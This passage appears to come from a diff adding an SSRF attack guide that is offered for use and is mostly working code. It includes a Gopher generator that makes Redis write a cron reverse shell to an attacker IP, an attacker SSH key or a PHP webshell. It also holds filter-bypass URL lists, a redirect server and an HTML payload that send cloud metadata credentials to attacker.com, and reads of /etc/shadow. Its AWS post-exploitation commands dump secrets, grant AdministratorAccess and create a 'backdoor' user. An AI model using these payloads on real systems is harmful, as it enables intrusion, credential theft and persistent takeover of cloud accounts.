+
289
+ def redis_ping(host="127.0.0.1", port=6379):
290
+ cmd = "PING\r\n"
291
+ return gopher_encode(host, port, cmd)
292
+
293
+ def redis_write_cron(host="127.0.0.1", port=6379,
294
+ attacker_ip="ATTACKER_IP", attacker_port=4444):
295
+ """Write a reverse shell cron job to /etc/cron.d/ via Redis."""
296
+ cron_payload = f"\n\n*/1 * * * * root bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1\n\n"
297
+ commands = [
298
+ "*1\r\n$8\r\nflushall\r\n",
299
+ f"*3\r\n$3\r\nset\r\n$1\r\nx\r\n${len(cron_payload)}\r\n{cron_payload}\r\n",
300
+ "*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$10\r\n/etc/cron.d\r\n",
301
+ "*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$6\r\nshell2\r\n",
302
+ "*1\r\n$4\r\nsave\r\n",
303
+ ]
304
+ full = "".join(commands)
305
+ return gopher_encode(host, port, full)
306
+
307
+ def redis_write_ssh_key(host="127.0.0.1", port=6379, pubkey="ssh-rsa AAAA... attacker"):
308
+ """Write attacker SSH public key to /root/.ssh/authorized_keys."""
309
+ key_payload = f"\n\n{pubkey}\n\n"
310
+ commands = [
311
+ "*1\r\n$8\r\nflushall\r\n",
312
+ f"*3\r\n$3\r\nset\r\n$1\r\nx\r\n${len(key_payload)}\r\n{key_payload}\r\n",
313
+ "*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$11\r\n/root/.ssh/\r\n",
314
+ "*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$15\r\nauthorized_keys\r\n",
315
+ "*1\r\n$4\r\nsave\r\n",
316
+ ]
317
+ full = "".join(commands)
318
+ return gopher_encode(host, port, full)
319
+
320
+ def redis_webshell(host="127.0.0.1", port=6379, webroot="/var/www/html"):
321
+ """Write a PHP webshell to the web root via Redis."""
322
+ shell = "<?php system($_GET['cmd']); ?>"
323
+ commands = [
324
+ "*1\r\n$8\r\nflushall\r\n",
325
+ f"*3\r\n$3\r\nset\r\n$1\r\nx\r\n${len(shell)}\r\n{shell}\r\n",
326
+ f"*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n${len(webroot)}\r\n{webroot}\r\n",
327
+ "*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n",
328
+ "*1\r\n$4\r\nsave\r\n",
329
+ ]
330
+ full = "".join(commands)
331
+ return gopher_encode(host, port, full)
332
+
333
+ if __name__ == "__main__":
334
+ print("[+] Redis PING via Gopher:")
335
+ print(redis_ping())
336
+ print()
337
+ print("[+] Redis Cron Reverse Shell (update attacker IP/port):")
338
+ print(redis_write_cron(attacker_ip="10.10.10.10", attacker_port=4444))
339
+ print()
340
+ print("[+] Redis SSH Key Injection:")
341
+ print(redis_write_ssh_key(pubkey="ssh-rsa AAAA...your_key... attacker@kali"))
342
+ print()
343
+ print("[+] Redis PHP Webshell to /var/www/html:")
344
+ print(redis_webshell())
345
+ ```
346
+
347
+ ```bash
348
+ # Use the generated Gopher URL directly in the SSRF parameter
349
+ # Example output from script:
350
+ # gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A...
351
+
352
+ # Double-encode for cases where the app URL-decodes once before fetching
353
+ python3 -c "
354
+ import urllib.parse
355
+ payload = 'gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0APING%0D%0A'
356
+ print(urllib.parse.quote(payload))
357
+ "
358
+
359
+ # dict:// for quick Redis ping test (simpler, but limited)
360
+ curl -s "https://target.com/fetch?url=dict://127.0.0.1:6379/PING"
361
+
362
+ # dict:// for basic Redis commands
363
+ curl -s "https://target.com/fetch?url=dict://127.0.0.1:6379/info"
364
+ curl -s "https://target.com/fetch?url=dict://127.0.0.1:6379/keys:*"
365
+ ```
366
+
367
+ **Complete SSRF to Redis RCE Chain:**
368
+
369
+ ```bash
370
+ # Step 1: Confirm Redis is accessible via SSRF
371
+ curl -s "https://target.com/fetch?url=dict://127.0.0.1:6379/PING"
372
+ # Expected: +PONG
373
+
374
+ # Step 2: Generate Gopher cron payload
375
+ python3 gopher_payloads.py > payloads.txt
376
+
377
+ # Step 3: Set up listener on attacker machine
378
+ nc -lvnp 4444
379
+
380
+ # Step 4: Send Gopher payload via SSRF
381
+ CRON_PAYLOAD=$(python3 -c "
382
+ import urllib.parse
383
+ # Cron payload to /etc/cron.d/shell
384
+ payload = '*1\r\n\$8\r\nflushall\r\n*3\r\n\$3\r\nset\r\n\$1\r\nx\r\n\$58\r\n\n\n*/1 * * * * root bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\n\n\r\n*4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$3\r\ndir\r\n\$10\r\n/etc/cron.d\r\n*4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$10\r\ndbfilename\r\n\$6\r\nshell2\r\n*1\r\n\$4\r\nsave\r\n'
385
+ encoded = urllib.parse.quote(payload)
386
+ print(f'gopher://127.0.0.1:6379/_{encoded}')
387
+ ")
388
+
389
+ curl -s "https://target.com/fetch?url=${CRON_PAYLOAD}"
390
+
391
+ # Step 5: Wait up to 60 seconds for cron to fire and get reverse shell
392
+
393
+ # Alternative: SSH key injection (more reliable, requires root ~/.ssh exists)
394
+ PUB_KEY=$(cat ~/.ssh/id_rsa.pub)
395
+ python3 -c "
396
+ import urllib.parse
397
+ key = '$PUB_KEY'
398
+ payload = f'*1\r\n\$8\r\nflushall\r\n*3\r\n\$3\r\nset\r\n\$1\r\nx\r\n\${len(key)+4}\r\n\n\n{key}\n\n\r\n*4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$3\r\ndir\r\n\$11\r\n/root/.ssh/\r\n*4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$10\r\ndbfilename\r\n\$15\r\nauthorized_keys\r\n*1\r\n\$4\r\nsave\r\n'
399
+ encoded = urllib.parse.quote(payload)
400
+ print(f'gopher://127.0.0.1:6379/_{encoded}')
401
+ "
402
+ ```
403
+
404
+ **DNS Rebinding Attack:**
405
+
406
+ DNS rebinding bypasses IP-based SSRF filters by exploiting the DNS TTL mechanism. The attack flow:
407
+
408
+ 1. Attacker controls a domain with short TTL (e.g., 0 seconds)
409
+ 2. First DNS resolution returns a public IP (bypass the filter check)
410
+ 3. Application validates — passes because public IP is allowed
411
+ 4. Second DNS resolution returns 127.0.0.1 (or internal IP)
412
+ 5. Application fetches using the rebinded internal IP
413
+
414
+ ```bash
415
+ # Tools for DNS rebinding:
416
+ # - https://github.com/brannondorsey/whonow (self-hosted)
417
+ # - https://lock.cmpxchg8b.com/rebinder.html (online tool)
418
+ # - https://github.com/nccgroup/singularity (full framework)
419
+
420
+ # Using whonow:
421
+ # 1. Set up: A=1.2.3.4 first, then rebind to 127.0.0.1
422
+ # Domain: A-1.2.3.4-rebind-127.0.0.1-<your-id>.whonow.com
423
+
424
+ curl -s "https://target.com/fetch?url=http://A-1.2.3.4-rebind-127.0.0.1-rnd1234.whonow.com/"
425
+
426
+ # Using rbndr.us (community DNS rebinding service)
427
+ # Format: {external-ip}.{internal-ip}.rbndr.us
428
+ # Example: rebind between 1.2.3.4 and 127.0.0.1
429
+ curl -s "https://target.com/fetch?url=http://7f000001.c0a80101.rbndr.us/"
430
+ # 7f000001 = 127.0.0.1 in hex, c0a80101 = 192.168.1.1 in hex
431
+ ```
432
+
433
+ **IPv6 Bypass Techniques:**
434
+
435
+ ```bash
436
+ # Standard IPv6 localhost
437
+ curl -s "https://target.com/fetch?url=http://[::1]/"
438
+ curl -s "https://target.com/fetch?url=http://[0:0:0:0:0:0:0:1]/"
439
+ curl -s "https://target.com/fetch?url=http://[0000:0000:0000:0000:0000:0000:0000:0001]/"
440
+
441
+ # IPv4-mapped IPv6 addresses
442
+ curl -s "https://target.com/fetch?url=http://[::ffff:127.0.0.1]/"
443
+ curl -s "https://target.com/fetch?url=http://[::ffff:7f00:1]/"
444
+
445
+ # IPv6 to access AWS metadata (IPv4-mapped)
446
+ curl -s "https://target.com/fetch?url=http://[::ffff:169.254.169.254]/"
447
+ curl -s "https://target.com/fetch?url=http://[::ffff:a9fe:a9fe]/"
448
+ # a9fe:a9fe = 169.254.169.254 in hex
449
+
450
+ # Link-local IPv6 (fe80::/10) — for internal network scanning
451
+ curl -s "https://target.com/fetch?url=http://[fe80::1]/"
452
+ ```
453
+
454
+ ---
455
+
456
+ ### EXPERT
457
+
458
+ **Prerequisites:** Advanced level complete, deep networking knowledge, experience with cloud IAM, code review skills.
459
+
460
+ **Goals:**
461
+ - SSRF filter bypass via HTTP redirect chains
462
+ - SSRF in OAuth flows and webhook validators
463
+ - SSRF via URL parser confusion (parser differential attacks)
464
+ - Post-exploitation of stolen cloud credentials
465
+ - SSRF via PDF/HTML renderers (headless Chrome)
466
+ - Second-order SSRF
467
+ - SSRF in gRPC/GraphQL endpoints
468
+
469
+ **HTTP Redirect Bypass Chain:**
470
+
471
+ Many SSRF filters check the initial URL but follow redirects without re-checking. Host a redirect endpoint on your server:
472
+
473
+ ```python
474
+ #!/usr/bin/env python3
475
+ """
476
+ ssrf_redirect.py — SSRF bypass via HTTP redirect.
477
+ Host this on a public server. The app fetches your URL, gets redirected to internal target.
478
+
479
+ Usage: python3 ssrf_redirect.py --redirect http://169.254.169.254/latest/meta-data/ --port 8888
480
+ """
481
+ from http.server import HTTPServer, BaseHTTPRequestHandler
482
+ import argparse
483
+
484
+ class RedirectHandler(BaseHTTPRequestHandler):
485
+ target = "http://169.254.169.254/latest/meta-data/"
486
+
487
+ def do_GET(self):
488
+ self.send_response(301)
489
+ self.send_header("Location", self.target)
490
+ self.end_headers()
491
+
492
+ def log_message(self, format, *args):
493
+ print(f"[REQ] {self.address_string()} - {format % args}")
494
+
495
+ def main():
496
+ parser = argparse.ArgumentParser()
497
+ parser.add_argument("--redirect", default="http://169.254.169.254/latest/meta-data/")
498
+ parser.add_argument("--port", type=int, default=8888)
499
+ args = parser.parse_args()
500
+ RedirectHandler.target = args.redirect
501
+ print(f"[*] Redirect server: http://0.0.0.0:{args.port}/ -> {args.redirect}")
502
+ HTTPServer(("0.0.0.0", args.port), RedirectHandler).serve_forever()
503
+
504
+ if __name__ == "__main__":
505
+ main()
506
+ ```
507
+
508
+ ```bash
509
+ # Start redirect server on attacker VPS
510
+ python3 ssrf_redirect.py --redirect "http://169.254.169.254/latest/meta-data/iam/security-credentials/" --port 8888
511
+
512
+ # Trigger SSRF via your redirect endpoint
513
+ curl -s "https://target.com/fetch?url=http://YOUR-VPS-IP:8888/"
514
+
515
+ # Advanced: chain multiple redirects
516
+ # 302 -> 301 -> 307 (preserves POST method) -> target
517
+ ```
518
+
519
+ **URL Parser Confusion / Parser Differential Attacks:**
520
+
521
+ Different URL parsers interpret the same URL differently. This allows bypassing blocklist checks.
522
+
523
+ ```python
524
+ #!/usr/bin/env python3
525
+ """
526
+ SSRF URL obfuscation payloads — parser confusion techniques.
527
+ """
528
+
529
+ payloads = [
530
+ # Decimal/octal/hex IP representations
531
+ "http://2130706433/", # 127.0.0.1 as decimal
532
+ "http://0177.0.0.1/", # 127 in octal
533
+ "http://0x7f000001/", # 127.0.0.1 in hex
534
+ "http://0x7f.0x0.0x0.0x1/", # Per-octet hex
535
+ "http://127.1/", # Short form
536
+ "http://127.0.1/", # Short form variant
537
+
538
+ # AWS metadata decimal
539
+ "http://2852039166/", # 169.254.169.254 as decimal
540
+ "http://0xa9fea9fe/", # 169.254.169.254 in hex
541
+ "http://0251.0376.0251.0376/", # Octal
542
+
543
+ # URL encoding tricks
544
+ "http://%31%32%37%2e%30%2e%30%2e%31/", # 127.0.0.1 URL encoded
545
+ "http://127.0.0.1%20/", # Space after IP (some parsers ignore)
546
+ "http://127.0.0.1%09/", # Tab after IP
547
+
548
+ # Auth@ tricks — parser may see host as "google.com" but fetch 127.0.0.1
549
+ "http://google.com@127.0.0.1/",
550
+ "http://google.com:80@127.0.0.1/",
551
+ "http://169.254.169.254@google.com/", # Some parsers take last host
552
+
553
+ # Fragment and query confusion
554
+ "http://127.0.0.1#.google.com/",
555
+ "http://127.0.0.1?.google.com/",
556
+
557
+ # Double slash tricks
558
+ "http:///127.0.0.1/",
559
+ "http:\\\\127.0.0.1/",
560
+
561
+ # CRLF injection in URL
562
+ "http://127.0.0.1%0d%0aHost:%20169.254.169.254/",
563
+
564
+ # Case variation
565
+ "HTTP://127.0.0.1/",
566
+ "hTTp://127.0.0.1/",
567
+
568
+ # Unicode / punycode
569
+ "http://⑬⑦.0.0.①/", # Circled digits
570
+
571
+ # Null byte injection
572
+ "http://127.0.0.1%00evil.com/",
573
+
574
+ # IPv6 variants
575
+ "http://[::1]/",
576
+ "http://[::ffff:127.0.0.1]/",
577
+ "http://[0:0:0:0:0:ffff:127.0.0.1]/",
578
+
579
+ # localhost variants
580
+ "http://localtest.me/", # DNS resolves to 127.0.0.1
581
+ "http://customer1.app.lvh.me/", # lvh.me resolves to 127.0.0.1
582
+ "http://spoofed.burpcollaborator.net/", # Control DNS to return 127.0.0.1
583
+ ]
584
+
585
+ for p in payloads:
586
+ print(p)
587
+ ```
588
+
589
+ **Post-Exploitation: Stolen AWS Credentials:**
590
+
591
+ ```bash
592
+ # After retrieving credentials from IMDSv1:
593
+ # AccessKeyId: ASIA...
594
+ # SecretAccessKey: ...
595
+ # Token: ...
596
+ # Save to ~/.aws/credentials
597
+
598
+ cat > /tmp/ssrf_creds << 'EOF'
599
+ [ssrf_stolen]
600
+ aws_access_key_id = ASIA_REPLACE_ME
601
+ aws_secret_access_key = SECRET_REPLACE_ME
602
+ aws_session_token = TOKEN_REPLACE_ME
603
+ region = us-east-1
604
+ EOF
605
+
606
+ export AWS_PROFILE=ssrf_stolen
607
+ export AWS_CONFIG_FILE=/tmp/ssrf_creds
608
+
609
+ # Identify the role
610
+ aws sts get-caller-identity
611
+
612
+ # List all IAM policies attached to this role
613
+ ROLE_NAME=$(aws sts get-caller-identity --query 'Arn' --output text | cut -d'/' -f2)
614
+ aws iam list-attached-role-policies --role-name "$ROLE_NAME"
615
+ aws iam list-role-policies --role-name "$ROLE_NAME"
616
+
617
+ # Enumerate what we can do
618
+ aws iam simulate-principal-policy \
619
+ --policy-source-arn "$(aws sts get-caller-identity --query Arn --output text)" \
620
+ --action-names "s3:ListAllMyBuckets" "ec2:DescribeInstances" "iam:ListRoles"
621
+
622
+ # List S3 buckets
623
+ aws s3 ls
624
+
625
+ # Dump all S3 bucket contents
626
+ for bucket in $(aws s3 ls | awk '{print $3}'); do
627
+ echo "[*] Bucket: $bucket"
628
+ aws s3 ls "s3://$bucket" --recursive 2>/dev/null | head -20
629
+ done
630
+
631
+ # Look for secrets in SSM Parameter Store
632
+ aws ssm describe-parameters --query 'Parameters[*].Name'
633
+ aws ssm get-parameters-by-path --path "/" --recursive --with-decryption
634
+
635
+ # Secrets Manager
636
+ aws secretsmanager list-secrets --query 'SecretList[*].Name'
637
+ aws secretsmanager get-secret-value --secret-id REPLACE_SECRET_NAME
638
+
639
+ # EC2 instances in all regions
640
+ for region in $(aws ec2 describe-regions --query 'Regions[*].RegionName' --output text); do
641
+ echo "[*] Region: $region"
642
+ aws ec2 describe-instances --region $region \
643
+ --query 'Reservations[*].Instances[*].[InstanceId,PublicIpAddress,PrivateIpAddress,Tags]' \
644
+ --output text 2>/dev/null
645
+ done
646
+
647
+ # Try privilege escalation — attach admin policy
648
+ aws iam attach-role-policy \
649
+ --role-name "$ROLE_NAME" \
650
+ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
651
+
652
+ # Create new IAM user for persistence
653
+ aws iam create-user --user-name backdoor
654
+ aws iam create-access-key --user-name backdoor
655
+ aws iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
656
+ ```
657
+
658
+ **GCP Post-Exploitation with Stolen Token:**
659
+
660
+ ```bash
661
+ # After stealing GCP access token:
662
+ ACCESS_TOKEN="ya29.REPLACE_ME"
663
+
664
+ # Identify who we are
665
+ curl -s "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$ACCESS_TOKEN"
666
+
667
+ # List GCS buckets
668
+ curl -s "https://www.googleapis.com/storage/v1/b?project=PROJECT_ID" \
669
+ -H "Authorization: Bearer $ACCESS_TOKEN"
670
+
671
+ # List GCE instances
672
+ curl -s "https://compute.googleapis.com/compute/v1/projects/PROJECT_ID/aggregated/instances" \
673
+ -H "Authorization: Bearer $ACCESS_TOKEN"
674
+
675
+ # List Cloud Functions
676
+ curl -s "https://cloudfunctions.googleapis.com/v1/projects/PROJECT_ID/locations/-/functions" \
677
+ -H "Authorization: Bearer $ACCESS_TOKEN"
678
+
679
+ # Access Kubernetes cluster credentials
680
+ curl -s "https://container.googleapis.com/v1/projects/PROJECT_ID/locations/-/clusters" \
681
+ -H "Authorization: Bearer $ACCESS_TOKEN"
682
+ ```
683
+
684
+ **SSRF in PDF/HTML Renderers (Headless Chrome):**
685
+
686
+ PDF generation services (wkhtmltopdf, Puppeteer, Playwright, PhantomJS) often execute JavaScript and make HTTP requests, creating a privileged SSRF vector.
687
+
688
+ ```html
689
+ <!-- Payload for wkhtmltopdf (no JS needed, direct URL fetch) -->
690
+ <!-- Submit this as the page URL or content to render as PDF -->
691
+
692
+ <!-- Direct SSRF via img src or iframe -->
693
+ <img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">
694
+ <iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
695
+
696
+ <!-- JavaScript-based SSRF for Puppeteer/Playwright -->
697
+ <script>
698
+ fetch("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
699
+ .then(r => r.text())
700
+ .then(data => {
701
+ // Exfiltrate via image load (visible in PDF or sent to attacker)
702
+ new Image().src = "https://attacker.com/ssrf?data=" + btoa(data);
703
+ document.body.innerHTML = "<pre>" + data + "</pre>";
704
+ });
705
+ </script>
706
+
707
+ <!-- wkhtmltopdf file:// LFI (not SSRF but related) -->
708
+ <!-- If URL scheme not restricted: -->
709
+ <iframe src="file:///etc/passwd"></iframe>
710
+ <img src="file:///etc/shadow">
711
+ ```
712
+
713
+ ```bash
714
+ # Trigger PDF generation with SSRF payload
715
+ curl -s -X POST "https://target.com/api/pdf/generate" \
716
+ -H "Content-Type: application/json" \
717
+ -d '{"url": "http://169.254.169.254/latest/meta-data/"}'
718
+
719
+ # Or inject HTML content
720
+ curl -s -X POST "https://target.com/api/pdf/generate" \
721
+ -H "Content-Type: application/json" \
722
+ -d '{"html": "<iframe src=\"http://169.254.169.254/latest/meta-data/\"></iframe>"}'
723
+ ```
724
+
725
+ **Second-Order SSRF:**
726
+
727
+ Second-order SSRF occurs when a user-supplied URL is stored and later fetched by a background job or different component.
728
+
729
+ ```bash
730
+ # Example: Update profile picture URL — background job fetches it later
731
+ curl -s -X PUT "https://target.com/api/user/profile" \
732
+ -H "Authorization: Bearer YOUR_JWT" \
733
+ -H "Content-Type: application/json" \
734
+ -d '{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
735
+
736
+ # Check if the avatar was processed and appears in the response
737
+ curl -s "https://target.com/api/user/profile" -H "Authorization: Bearer YOUR_JWT"
738
+
739
+ # Webhook registration — server will call back to registered URL
740
+ curl -s -X POST "https://target.com/api/webhooks" \
741
+ -H "Authorization: Bearer YOUR_JWT" \
742
+ -H "Content-Type: application/json" \
743
+ -d '{"url": "http://169.254.169.254/latest/meta-data/", "events": ["order.created"]}'
744
+
745
+ # Trigger the event that fires the webhook
746
+ curl -s -X POST "https://target.com/api/orders" \
747
+ -H "Authorization: Bearer YOUR_JWT" \
748
+ -d '{"item": "test"}'
749
+ ```
750
+
751
+ ---
752
+
753
+ ## 3. Step-by-Step Attack Workflow
754
+
755
+ ### Phase 1: Reconnaissance and Target Identification
756
+
757
+ ```
758
+ 1. Map the application for URL input points:
759
+ - URL parameters: ?url=, ?src=, ?href=, ?fetch=, ?link=, ?image=, ?path=, ?redirect=
760
+ - POST body fields: {"url": ..., "webhook": ..., "callback": ..., "endpoint": ...}
761
+ - HTTP headers: X-Forwarded-Host, X-Original-URL, Referer (if reflected server-side)
762
+ - XML/JSON payloads with URL values
763
+ - File upload with URLs (import by URL features)
764
+ - OAuth callback URLs
765
+ - SAML SP/IdP endpoints
766
+
767
+ 2. Note the application's cloud provider:
768
+ - Check HTTP response headers (X-Amzn-*, X-Google-*, X-Azure-*)
769
+ - DNS patterns (*.amazonaws.com, *.googleapis.com, *.azure.com)
770
+ - Error messages referencing cloud services
771
+ ```
772
+
773
+ ### Phase 2: Confirming SSRF
774
+
775
+ ```
776
+ 3. Set up an out-of-band listener (one of):
777
+ a. interactsh: interactsh-client -server https://interactsh.com
778
+ b. Burp Collaborator: generate a payload URL
779
+ c. ngrok: ngrok http 8080 and run nc -lvnp 8080
780
+
781
+ 4. Submit the out-of-band URL as the parameter value.
782
+ If you receive a DNS query or HTTP request, SSRF is confirmed.
783
+
784
+ 5. Distinguish error-based (in-band) from blind SSRF:
785
+ - In-band: Response body contains fetched content
786
+ - Error-based: HTTP status codes or error messages differ by target reachability
787
+ - Blind: No direct feedback; rely solely on out-of-band callbacks
788
+ ```
789
+
790
+ ### Phase 3: Internal Network Mapping
791
+
792
+ ```
793
+ 6. Probe localhost:
794
+ - http://127.0.0.1/
795
+ - http://localhost/
796
+ - http://0.0.0.0/
797
+ - http://[::1]/
798
+
799
+ 7. Probe private RFC1918 ranges:
800
+ - 10.0.0.0/8
801
+ - 172.16.0.0/12
802
+ - 192.168.0.0/16
803
+
804
+ 8. Use the Python SSRF scanner (see Intermediate section) to enumerate:
805
+ - Hosts in the /24 subnet of the server's IP
806
+ - Common ports on each host
807
+
808
+ 9. Identify interesting services:
809
+ - 6379 (Redis)
810
+ - 27017 (MongoDB)
811
+ - 9200 (Elasticsearch)
812
+ - 2375 (Docker daemon)
813
+ - 2181 (Zookeeper)
814
+ - 8500 (Consul)
815
+ - 8200 (Vault)
816
+ - 10250 (Kubernetes kubelet)
817
+ - 6443 (Kubernetes API server)
818
+ - 50070 (Hadoop NameNode)
819
+ ```
820
+
821
+ ### Phase 4: Cloud Metadata Exploitation
822
+
823
+ ```
824
+ 10. AWS IMDSv1 (no auth):
825
+ a. GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
826
+ b. Note the IAM role name
827
+ c. GET http://169.254.169.254/latest/meta-data/iam/security-credentials/{ROLE_NAME}
828
+ d. Extract AccessKeyId, SecretAccessKey, Token
829
+ e. Configure AWS CLI with stolen credentials
830
+
831
+ 11. AWS IMDSv2 (token required):
832
+ a. Attempt IMDSv1 first (many environments still allow it)
833
+ b. If blocked, try to inject X-aws-ec2-metadata-token-ttl-seconds header
834
+ c. Check if app proxies PUT requests
835
+
836
+ 12. GCP (requires Metadata-Flavor: Google header):
837
+ a. GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
838
+ b. Use token to access GCP APIs
839
+
840
+ 13. Azure (requires Metadata: true header):
841
+ a. GET http://169.254.169.254/metadata/identity/oauth2/token
842
+ b. Use token to access Azure management API
843
+ ```
844
+
845
+ ### Phase 5: Protocol Smuggling
846
+
847
+ ```
848
+ 14. If the application supports gopher://:
849
+ a. Generate Gopher payload using the Python script
850
+ b. Test with Redis PING: gopher://127.0.0.1:6379/_PING
851
+ c. If Redis confirmed, proceed to Redis RCE chain
852
+
853
+ 15. dict:// for quick Redis tests:
854
+ a. dict://127.0.0.1:6379/PING
855
+ b. dict://127.0.0.1:6379/info
856
+
857
+ 16. file:// for local file read (if not blocked):
858
+ a. file:///etc/passwd
859
+ b. file:///etc/shadow
860
+ c. file:///proc/self/environ (environment variables — often contains secrets)
861
+ d. file:///proc/self/cmdline
862
+ e. file:///var/run/secrets/kubernetes.io/serviceaccount/token (K8s pods)
863
+ ```
864
+
865
+ ### Phase 6: Post-Exploitation
866
+
867
+ ```
868
+ 17. With stolen AWS credentials:
869
+ a. Enumerate accessible resources with aws sts get-caller-identity
870
+ b. Search S3 for sensitive data
871
+ c. Check SSM/Secrets Manager for secrets
872
+ d. Attempt privilege escalation via IAM policy attachment
873
+ e. Establish persistence (new IAM user/key)
874
+
875
+ 18. With Redis RCE:
876
+ a. Write cron job for reverse shell
877
+ b. Or write SSH authorized_keys
878
+ c. Or write webshell to known web root
879
+ ```
880
+
881
+ ---
882
+
883
+ ## 4. Specific Terminal Commands
884
+
885
+ ### Discovery and Enumeration
886
+
887
+ ```bash
888
+ # Passive: search for SSRF-prone parameters in JS files
889
+ gau target.com | grep -E "url=|fetch=|src=|href=|link=|path=|redirect=" | head -50
890
+ katana -u https://target.com -d 3 -jc | grep -E "\?.*url=|\?.*fetch=|\?.*src="
891
+
892
+ # Active: fuzz for SSRF parameters with ffuf
893
+ ffuf -u "https://target.com/api/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/api/actions.txt \
894
+ -mc 200,302,400 -H "Content-Type: application/json"
895
+
896
+ # Test all URL parameters with interactsh payload
897
+ INTERACTSH_ID="YOUR_INTERACT_ID.oast.fun"
898
+ ffuf -u "https://target.com/fetch?url=FUZZ" \
899
+ -w <(echo "http://$INTERACTSH_ID/"; echo "https://$INTERACTSH_ID/") \
900
+ -mc all
901
+
902
+ # Burp Suite — Intruder for blind SSRF parameter fuzzing
903
+ # Set §§ markers around the value and use Collaborator payload type
904
+
905
+ # Check response time differences (error-based SSRF detection)
906
+ time curl -s "https://target.com/fetch?url=http://127.0.0.1:80/"
907
+ time curl -s "https://target.com/fetch?url=http://127.0.0.1:81/"
908
+ # Open ports respond faster than closed ports
909
+ ```
910
+
911
+ ### AWS Metadata Commands
912
+
913
+ ```bash
914
+ # Full AWS metadata dump via SSRF
915
+ AWS_SSRF_URL="https://target.com/fetch?url="
916
+ IMDS="http://169.254.169.254/latest"
917
+
918
+ for path in \
919
+ "meta-data/" \
920
+ "meta-data/ami-id" \
921
+ "meta-data/instance-id" \
922
+ "meta-data/instance-type" \
923
+ "meta-data/local-ipv4" \
924
+ "meta-data/public-ipv4" \
925
+ "meta-data/hostname" \
926
+ "meta-data/placement/region" \
927
+ "meta-data/placement/availability-zone" \
928
+ "meta-data/iam/info" \
929
+ "meta-data/iam/security-credentials/" \
930
+ "user-data" \
931
+ "dynamic/instance-identity/document"; do
932
+ echo -n "[+] $path: "
933
+ curl -s "${AWS_SSRF_URL}${IMDS}/${path}"
934
+ echo
935
+ done
936
+
937
+ # Get specific IAM role credentials
938
+ ROLE=$(curl -s "${AWS_SSRF_URL}${IMDS}/meta-data/iam/security-credentials/")
939
+ echo "Role: $ROLE"
940
+ curl -s "${AWS_SSRF_URL}${IMDS}/meta-data/iam/security-credentials/${ROLE}"
941
+
942
+ # Parse and configure credentials
943
+ CREDS=$(curl -s "${AWS_SSRF_URL}${IMDS}/meta-data/iam/security-credentials/${ROLE}")
944
+ ACCESS_KEY=$(echo $CREDS | python3 -c "import json,sys; d=json.load(sys.stdin); print(d['AccessKeyId'])")
945
+ SECRET_KEY=$(echo $CREDS | python3 -c "import json,sys; d=json.load(sys.stdin); print(d['SecretAccessKey'])")
946
+ SESSION_TOKEN=$(echo $CREDS | python3 -c "import json,sys; d=json.load(sys.stdin); print(d['Token'])")
947
+
948
+ export AWS_ACCESS_KEY_ID="$ACCESS_KEY"
949
+ export AWS_SECRET_ACCESS_KEY="$SECRET_KEY"
950
+ export AWS_SESSION_TOKEN="$SESSION_TOKEN"
951
+ aws sts get-caller-identity
952
+ ```
953
+
954
+ ### Redis Interaction Commands
955
+
956
+ ```bash
957
+ # Manual Gopher payload construction
958
+ # Redis PING
959
+ python3 -c "import urllib.parse; print('gopher://127.0.0.1:6379/_' + urllib.parse.quote('*1\r\n\$4\r\nPING\r\n'))"
960
+
961
+ # Redis GET all keys
962
+ python3 -c "
963
+ import urllib.parse
964
+ cmds = '*2\r\n\$4\r\nKEYS\r\n\$1\r\n*\r\n'
965
+ print('gopher://127.0.0.1:6379/_' + urllib.parse.quote(cmds))
966
+ "
967
+
968
+ # Redis CONFIG GET all
969
+ python3 -c "
970
+ import urllib.parse
971
+ cmds = '*3\r\n\$6\r\nCONFIG\r\n\$3\r\nGET\r\n\$1\r\n*\r\n'
972
+ print('gopher://127.0.0.1:6379/_' + urllib.parse.quote(cmds))
973
+ "
974
+
975
+ # One-liner Redis RCE via Gopher (write PHP shell)
976
+ python3 -c "
977
+ import urllib.parse
978
+ shell = '<?php system(\$_GET[\"cmd\"]); ?>'
979
+ cmds = f'*1\r\n\$8\r\nflushall\r\n*3\r\n\$3\r\nset\r\n\$1\r\nx\r\n\${len(shell)}\r\n{shell}\r\n*4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$3\r\ndir\r\n\$13\r\n/var/www/html\r\n*4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$10\r\ndbfilename\r\n\$9\r\nshell.php\r\n*1\r\n\$4\r\nsave\r\n'
980
+ print('gopher://127.0.0.1:6379/_' + urllib.parse.quote(cmds))
981
+ " | xargs -I{} curl -s "https://target.com/fetch?url={}"
982
+ ```
983
+
984
+ ### Kubernetes Internal Exploitation
985
+
986
+ ```bash
987
+ # K8s API server (often at 10.96.0.1:443 or 10.0.0.1:443)
988
+ curl -s "https://target.com/fetch?url=https://10.96.0.1:443/api/v1/namespaces"
989
+
990
+ # Kubelet API (port 10250) — no auth by default in older clusters
991
+ curl -s "https://target.com/fetch?url=https://NODE-IP:10250/pods"
992
